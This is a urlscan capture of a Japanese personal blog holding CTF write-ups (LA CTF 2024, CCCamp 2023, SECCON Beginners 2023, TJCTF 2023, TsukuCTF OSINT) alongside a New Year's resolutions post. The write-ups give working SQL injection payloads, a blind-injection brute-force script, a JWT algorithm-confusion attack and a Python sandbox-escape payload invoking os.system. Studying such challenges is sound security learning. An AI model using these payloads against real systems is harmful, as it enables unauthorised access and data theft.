nano-xp.hatenablog.com Open in urlscan Pro
35.75.255.9  Public Scan

Form analysis
1 forms found in the DOM

GET https://nano-xp.hatenablog.com/search

<form class="search-form" role="search" action="https://nano-xp.hatenablog.com/search" method="get">
  <input type="text" name="q" class="search-module-input" value="" placeholder="記事を検索" required="">
  <input type="submit" value="検索" class="search-module-button">
</form>

Text Content

NANO_XPのいろいろ

2024-02-19


LA CTF 2024 WRITEUP


はじめに

LA CTF 2024の自分が解けたweb問についてのwriteupです。sayonaraとして参加し61位でした。


TERMS-AND-CONDITIONS

CTFのルールが記述されたwebサイトが表示され「I Accept」のボタンを押すことができれば良いのだが、ボタンがカーソルから逃げていくので簡単には押せない。
consoleを見ようとしたが、consoleを開くと「No Console Arrowed」と表示され見れない...
Javascriptがいたずらしているのかな？と思い、Edgsで「Ctrl + Shift + P」を押すとFLAGが書かれたalertが出てきた、なんで？


FLAGLANG

Flagを得るためには「/view?countiry=Flagistan」にアクセスする必要がある。しかし、登録されているすべての国からのアクセスができないようになっている。

app.get('/view', (req, res) => {
  if (!req.query.country) {
    res.status(400).json({ err: 'please give a country' });
    return;
  }
  if (!countries.has(req.query.country)) {
    res.status(400).json({ err: 'please give a valid country' });
    return;
  }
  const country = countryData[req.query.country];
  const userISO = req.signedCookies.iso;
  if (country.deny.includes(userISO)) {
    res.status(400).json({ err: `${req.query.country} has an embargo on your country` });
    return;
  }
  res.status(200).json({ msg: country.msg, iso: country.iso });
});

userのISO情報はCookieに保存されている。Cookieは「s%3AJP.7RhDru0S3loZKUPfuc」となっている。s%3A後の2文字がISOになっているので、登録されていない架空の国にしてアクセスすることでFLAGを得ることができる。例えば、「s%3AAB.7RhDru0S3loZKUPfuc」など..

curl -b "iso=s%3AAB.gHCg19jZEIEe1cgJlABg%2BohbEaZ2Vg8VtEzJXAg1zG0"
"https://flaglang.chall.lac.tf/view?count ry=Flagistan"


LA HOUSING PORTAL

SQL injectionの脆弱性がある。しかし、「--と/*」が禁止ワードとなっている。文字数は50文字制限あり。

if (len(k) > 10 or len(v) > 50) and k != "name":
            return "Invalid form data", 422
        if "--" in k or "--" in v or "/*" in k or "/*" in v:
            return render_template("hacker.html")


def get_matching_roommates(prefs: dict[str, str]):
    if len(prefs) == 0:
        return []
    query = """
    select * from users where {} LIMIT 25;
    """.format(
        " AND ".join(["{} = '{}'".format(k, v) for k, v in prefs.items()])
    )
    conn = sqlite3.connect('file:data.sqlite?mode=ro', uri=True)

シンプルにUNIONを組めばよい。
curl -X POST -d "name=nano&guests='+UNION+SELECT+1,flag,1,1,1,1+from+'flag"
"https://la-housing.chall.lac.tf /submit"


PENGUIN-LOGIN

この問題もSQL injectionの問題。しかし、禁止ワードが「like」、許可されているのが「英数字、'{}_」

        assert all(c in allowed_chars for c in username), "no character for u uwu"
        assert all(
            forbidden not in username.lower() for forbidden in forbidden_strs
        ), "no word for u uwu"

        with conn.cursor() as curr:
            curr.execute("SELECT * FROM penguins WHERE name = '%s'" % username)
            result = curr.fetchall()

        if len(result):
            return "We found a penguin!!!!!", 200
        return "No penguins sadg", 201

SQLの実行結果が、「We found a penguin!!!!!」か「No penguins sadg」の2つのためBlind SQL
injectionを組む必要がある。
Likeが使えないが、PostgresにはSIMILAR
TOがあり、LIKEと同じことができる。さらに、Postgresの正規表現は_(ハイフン)が任意の位置文字とマッチする。
これらを使用しペイロードを組む。
https://www.postgresql.jp/docs/9.4/functions-matching.html
' UNION SELECT name FROM penguins WHERE name SIMILAR TO '____
これでDBにある'peng'とマッチする。
ハイフンの数を増やしていきflagの文字数を求めるスクリプトを組む。

server_url = "https://penguin.chall.lac.tf/submit"
for i in range(50):
    length_payload = "' UNION SELECT name FROM penguins WHERE name SIMILAR TO '_{"+str(i)+"}"
    data = {"username": length_payload}
    response = requests.post(server_url, data=data)
    print(response.text)
    if "We found a penguin!!!!!" in response.text:
        print(i)
        print(response.text)
        length = i

45文字だった。文字数も分かったので、1文字ずつ求めていく。

length = 45
flag = "lactf{"
for j in range(6,length):
    # if len(flag)==j:
    #     print("ok")
    for char_code in range(0x20, 0x7f):
        if char_code==95:
            char_code = 0
        payload = "' UNION SELECT name FROM penguins WHERE name SIMILAR TO '"+str(flag)+str(chr(char_code))+"_{"+str(45-(j+1))+"}"
        data = {"username": payload}
        response = requests.post(server_url, data=data)
        print(payload)
        if "We found a penguin!!!!!" in response.text:
            print(response.text)
            flag =  flag + str(chr(char_code))
            break
    if len(flag)==j:
        flag =  flag + str("_")



※lactf{の次の文字だけ見つけることができなかったので勘で乗り切った

nano_xp 5日前 読者になる




広告を非表示にする

 * もっと読む

コメントを書く
2024-01-01


2024年の抱負


初めに

皆様あけましておめでとうございます。2024年もより良い一年にするために、今年は抱負を書きたいと思います.


抱負

 * 就活を自分が納得する形で終わらせる
   現在、就活真っ最中なので学校を卒業してもよい形で社会人を迎えれるような就職活動をしていこうと思います。　

 * 英語の習得
   高専入学時より英語から逃げ続けていましたが、もう限界です。海外交流もしたいですし、海外に旅行も行きたいのでこの一年で話せる英語を習得しようと思います。

 * CTFでwebを極める
   2024年は1つ1つの技術を深め一人前のweb担当になりたいと思います。

 * アウトプットする
   目標として1カ月に1本以上、CTFで解けなかった問題の復習などを挙げていこうと思います。


おわりに

2024年も時間を大切に生きていこうと思います。

#CTF #抱負2024

nano_xp 54日前 読者になる




広告を非表示にする

 * もっと読む

コメントを書く
2023-12-30


WEB強化参考資料

GitHub - satoki/ctf_writeups: CTFの解法をまとめる。

st98 の日記帳 - コピー

Satoooonの物置

HackTricks - HackTricks

XSS Challenge

・解けなかった問題のwriteup?を作る #TODO
・Burp suite

nano_xp 56日前 読者になる




広告を非表示にする

 * もっと読む

コメントを書く
2023-12-10


TSUKUCTF2023 WRITEUP


はじめに

TsukuCTF2023に「sayonara」として参加させていただきました。結果は12位でした。普段とは一味違ったCTFで、最初から最後まで楽しませていただきました。運営の方々ありがとうございます！
多くのOSINT問題の中から解いていて面白かったものを抜粋してWrite up を書かせてもらいます。


UDON_2023

hard問題だったが、どの問題よりも解くまでの時間が早かったし、楽しかった!
まず、注目した点は鶏天の衣焼き色がついておりやや硬そうな衣をしている。「店によって鶏天の形は違えど衣は一緒だ！」という教えから、鶏天の衣探しをした。
そこでヒットしたのはこの画像

ショウガやネギがのっているが、この焼き色と硬そうな衣は見間違えるはずがない。
調べてみると「甚三 新橋2号店」これだ！と思いFLAGを入力したが、incorrect
甚三はチェーン店で、ほかにも多くお店があった...
ふと、「作問者が学生だったよね～早稲田だったかな？」と思い甚三の場所を見てみると、「甚三 高田馬場店」があった！ここで入力すると正解だった
回答時間は5~10分で気持ちよ～く解けた。 メンバーの料理力が光った問題だった。


GRASS_COURT

hard問題でしたが、出先散歩しているときにスマートフォンで解けて楽しかった！
まず、注目したのは木に貼ってあるキャラクター！　ルンルンでgoogle
Lensを使い、類似のキャラクターを調べてみたが、ホラーみたいな画像がたくさん出てきたので、怖くなりこのアプローチは断念.........
気を取りなおして、ほかの特徴がないか探す。後ろのほうにかすかに映る人工物.....目を細めながら、拡大したりして,
なんかアンテナ？っぽいなと思い、調べてみると。
「パラボラアンテナ」がヒット！！この規模のアンテナは珍しいだろ！と思い、検索しKDDIのパラボラアンテナなどが見つかったが、きれいすぎる✨..
「もっと廃れてれる場所なんだよな～」と言いながら、探しているとそれっぽい画像がヒット！

うん、いい感じの廃れ具合！！！
調べてみると、「水沢VERA観測所」だった！近くにテニスコートがあったので入力して正解だった


CTRLALTPRTSC

画像を開くと、電卓を表示している。つくし君は真面目に仕事してるじゃないか！！
と思ったが、上のほうに移る微かに映る、赤い影
間違いなく「Youtube」だ！と即答.....正解だった
我々が、いかにYoutubeに依存しているのかが分かった良問だった.....


FREE_RIDER

迷惑系Youtube?のシーンを見つける問題、かなり苦戦しました....
youtuberを見つけるまでは早かったのですが、Linkが削除されている.....削除された元の動画をアップしている人はいるものの,
元動画は消されているからな～
これでは探しようがないな~と思い諦めていたところ、お散歩中に「削除されているリンクと、転載されている動画の時間をくっつければいいじゃん！」と考え付いた
お散歩から急いで帰って、メンバーが見つけていた、削除済みのリンクと、メンバーが見つけていた、再アップしている人の動画から該当の時間を見つけ出し、合体！これで正解だった！
人が集めた情報をくっつけたらできた.....手柄の横取りをしました😊

nano_xp 76日前 読者になる




広告を非表示にする

 * もっと読む

コメントを書く
2023-08-18


CCCAMP CTF 2023 [WEB / CYBERCRIME SOCIETY CLUB GERMANY]


概要

loginとsignupがある、webサービス、adminの権限があると'date'コマンドを実行することができる
flag.txtの中にflagがある、admin権限を取得し、flagの中身を見るコマンドを実行する必要がある。

まず、admin権限を取得していく


WRITEUP

    def is_admin(self, email):
        user = self.db.get(email)
        if user is None:
            return False
        
        return user["email"] == "admin@cscg.de" and user["userid"] > 90000000


admin権限になるためにuseridが90000000以上かつ、emailが「admin@cscg.de」となっている


ADMIN@CSCS.DEのEMAILの取得

userdb = UserDB("userdb.json")
userdb.add_user("admin@cscg.de", 9_001_0001, str(uuid())) 

def api_create_account(data, user):

    if email == "admin@cscg.de":
        return error_msg("cant create admin")

    assert(len(groupid) == 3)
    assert(len(userid) == 4)
    userid = json.loads("1" + groupid + userid)

    if not check_activation_code(activation):
        return error_msg("Activation Code Wrong")
    print("activation passed")

    if userdb.add_user(email, userid, password):
        return success_msg("User Created")
    else:
        return error_msg("User creation failed")

def check_activation_code(activation_code):
    # no bruteforce
    time.sleep(20)
    if "{:0>4}".format(random.randint(0, 10000)) in activation_code:
        return True
    else:
        return False


ユーザ作成時にActivation_codeに0から10000のランダム値が含まれていないと、ユーザの作成が行われない。
activate_codeには文字数制限やチェックが入っていないので、0000~9999までのすべての値を結合したものをactivatecodeとすることで通過できる。


loginが成功すると、ユーザのemailアドレスの変更と削除ができる。


ADMINデータの削除

def api_delete_account(data, user):
    if user is None:
        return error_msg("not logged in")

    if data["data"]["email"] != user["email"]:
        return error_msg("Hey thats not your email!")

    if delete_accs(data["data"].values()):
        return success_msg("deleted account")

def delete_accs(emails):
    for email in emails:
        userdb.delete_user(email)
    return True


「if
delete_accs(data["data"].values()):」.values()で値を指定しているため、{"data"{"email":"登録したユーザ"},
{"mail":"admin@cscg.de"}}とすることでadminのデータを消すことができる。



再度ユーザを作るり、ユーザの編集を行う。

def api_edit_account(data, user):
    if user is None:
        return error_msg("not logged in")
    
    new = data["data"]["email"]

    if userdb.change_user_mail(user["email"], new):
        return success_msg("Success")
    else:
        return error_msg("Fail")


edit_accountで「admin@cscg.de」にすることで、adminのemalを取得できた。
※同じ名前のemailを作れないため、一度adminのデータを削除する必要があった。


USERID >90000000をクリアして完全にADMIN権限を奪う

  assert(len(groupid) == 3)
  assert(len(userid) == 4)

    userid = json.loads("1" + groupid + userid)


素直に考えるとMAXの値は 19999999で当然False
テストしまくった結果、9e9で9*109となり、useridの値をinfにすることができた

これでadmin権限を取得できた。


FLAGを取りに行く！

admin権限によって、linuxコマンドが実行できるようになる

def api_admin(data, user):
    if user is None:
        return error_msg("Not logged in")
    is_admin = userdb.is_admin(user["email"])
    if not is_admin:
        return error_msg("User is not Admin")

    cmd = data["data"]["cmd"]
    # currently only "date" is supported
    if validate_command(cmd):
        out = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
        return success_msg(out.stdout.decode())

def validate_command(string):
    return len(string) == 4 and string.index("date") == 0


要素数が4であり、dateから始まる必要がある。
これは、配列を使うことで解決できる。

cmd = ["date","--help","help","-help"]
len(cmd)は4であり、dateから始まるので問題ない。
しかし使用できる、コマンドはdateのみなので有用なオプションがないか探す。
-fオプションでファイルを指定できる。
これでFlagゲット。


nano_xp 190日前 読者になる




広告を非表示にする

 * もっと読む

コメントを書く
2023-06-07


SECCON BEGINNERS CTF 2023 「DOUBLE CHECK」


はじめに

SECCON Beginners CTF 2023に「bitbuger」として参加しました。Web分野の問題を解き結果は32位でした。
その中の「double check」について自分の思考回路を交えてWriteupを作成します。


DOUBLE CHECK

app.post("/register", (req, res) => {
  const { username, password } = req.body;
  
  if(!username || !password) {
    res.status(400).json({ error: "Please send username and password" });
    return;
  }

  const user = {
    username: username,
    password: password
  };
  
  if (username === "admin" && password === getAdminPassword()) {
    user.admin = true;
  }
  req.session.user = user;


  let signed;
  try {
    signed = jwt.sign(
      _.omit(user, ["password"]),
      readKeyFromFile("keys/private.key"), 
      { algorithm: "RS256", expiresIn: "1h" } 
    );
  } catch (err) {
    res.status(500).json({ error: "Internal server error" });
    return;
  }
  res.header("Authorization", signed);

  res.json({ message: "ok" });
});

app.post("/flag", (req, res) => {
  if (!req.header("Authorization")) {
    res.status(400).json({ error: "No JWT Token" });
    return;
  }

  if (!req.session.user) {
    res.status(401).json({ error: "No User Found" });
    return;
  }

  let verified;
  try {
    verified = jwt.verify(
      req.header("Authorization"),
      readKeyFromFile("keys/public.key"), 
      { algorithms: ["RS256", "HS256"] }
    );
  } catch (err) {
    console.error(err);
    res.status(401).json({ error: "Invalid Token" });
    return;
  }

  if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
    verified = _.omit(verified, ["admin"]);
  }

  const token = Object.assign({}, verified);
  const user = Object.assign(req.session.user, verified);

  if (token.admin && user.admin) {
    res.send(`Congratulations! Here"s your flag: ${FLAG}`);
    return;
  }

  res.send("No flag for you");
});

app.listen(PORT, HOST, () => {
  console.log(`Server is running on port ${PORT}`);
});


まず、2つのチェックについて見ていく

if (username === "admin" && password === getAdminPassword()) 
中略
 if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {


usernameはadminは指定できるが，passwordは getAdminPassword()によって生成されている．
getAdminPassword()は16ビットのランダムな値なので，総当たりでは突破できない．

脆弱性1つ目

 const token = Object.assign({}, verified);
 const user = Object.assign(req.session.user, verified);

if (token.admin && user.admin) {
    res.send(`Congratulations! Here"s your flag: ${FLAG}`);
    return;
  }


prototype pollutionの脆弱性が発見できる．.adminを汚染することでFLAGを獲得できる．

脆弱性2つ目

暗合化
signed = jwt.sign(
      _.omit(user, ["password"]),
      readKeyFromFile("keys/private.key"), 
      { algorithm: "RS256", expiresIn: "1h" } 
複合化
 verified = jwt.verify(
      req.header("Authorization"),
      readKeyFromFile("keys/public.key"), 
      { algorithms: ["RS256", "HS256"] }


暗合化のアルゴリズムはRS256の公開鍵暗号，複合化のアルゴリズムはRS256に加えHS256の共通鍵暗号が許可されている。これによって、任意のペイロードを送ることが可能となる

この2つの脆弱性を使用した。


解決

jwt.ioを使用しAuthorizationを以下のように書き換える

その後jwt toolを使用しAuthorizationを公開鍵で暗号化したものにする
python3 jwt_tool.py $jwt --exploit k -pk ../app/keys/public.key

以下のようにリクエストを送るとFLAGを得ることができた

session = requests.Session()
session.cookies.set('connect.sid', response.cookies['connect.sid'])

flagheaders = {'content-type': 'application/json', 'Authorization':'jwt_tool'}
response = session.post(flagurl,data=json.dumps(data),headers=flagheaders)

print(response.text)




nano_xp 262日前 読者になる




広告を非表示にする

 * もっと読む

コメントを書く
2023-05-28


WRITEUPから学ぶ「JINJA INJECTION | PYJAIL」


はじめに

TJCTF 2023「web/outdated」の問題を解きながらPyjailについて理解を深めていくものです。
※CTF初心者が書いているものなので間違いがある可能性があります。間違いがある場合はご指摘ください


問題の概要




Pythonファイルをアップロードして、その実行結果を出力してくれるコードランナー


ソースコード

重要な部分だけを張り付ける

blocked = ["__import__", "globals", "locals", "__builtins__", "dir", "eval", "exec","breakpoint", "callable", "classmethod", "compile", "staticmethod", "sys","__importlib__", "delattr", "getattr", "setattr", "hasattr", "sys", "open"]


解説

pythonソースコードの中にblockedが含まれているかチェックするもの、blockedのすり抜けるために「Pyjail」を使用する．
今回使用したペイロードは
''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']('cat
f*')
を使用してFLAGをゲットできた。


なぜこのペイロードが通ったのか？

''.__class__ は''のクラスオブジェクトにアクセスすることができる　出力: <class 'str'>

''.__class__.__mro__[1].__subclasses__() でsubclassesにアクセスすることができる
出力:
[<class 'type'>, <class 'async_generator'>, <class 'int'>, <class
'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class
'bytes'>, <class 'builtin_function_or_method'>, 続く
が出力される

その中に<class 'os._wrap_close'> を見つける。今回は[132]番目

''.__class__.__mro__[1].__subclasses__()[132] 出力：<class 'os._wrap_close'>

''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__で定義されている関数一覧を見ることができる。その中にsystem関数があり、

''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']でsystem関数を使用することができる。あとは引数を好きなようにすることで任意実行が可能となっている。
このようにしてペイロードが作成されていた。


付録

今回のCTFでは使えなかったが今後どこかで使えそうなPythonの書き方 unicodeを使う

# coding: raw_unicode_escape
#\u000aimport os
#\u000aos.system("ls -laF")
#\u000aos.system("cat *flag*")



rot13を使う(python2)
#config rot13とかもあるらしい




nano_xp 272日前 読者になる




広告を非表示にする

 * もっと読む

コメントを書く
次のページ

プロフィール
nano_xp
読者です 読者をやめる 読者になる 読者になる
1
このブログについて
検索

リンク
 * はてなブログ
 * ブログをはじめる
 * 週刊はてなブログ
 * はてなブログPro

最新記事
 * LA CTF 2024 Writeup
 * 2024年の抱負
 * web強化参考資料
 * TsukuCTF2023 Writeup
 * CCCamp CTF 2023 [web / Cybercrime Society Club Germany]

月別アーカイブ
 * ▼ ▶
   2024 (2)
   * 2024 / 2 (1)
   * 2024 / 1 (1)
 * ▼ ▶
   2023 (6)
   * 2023 / 12 (2)
   * 2023 / 8 (1)
   * 2023 / 6 (1)
   * 2023 / 5 (2)

nano_xpのいろいろ

Powered by Hatena Blog | ブログを報告する




引用をストックしました

ストック一覧を見る 閉じる

引用するにはまずログインしてください

ログイン 閉じる

引用をストックできませんでした。再度お試しください

閉じる

限定公開記事のため引用できません。

読者です 読者をやめる 読者になる 読者になる
1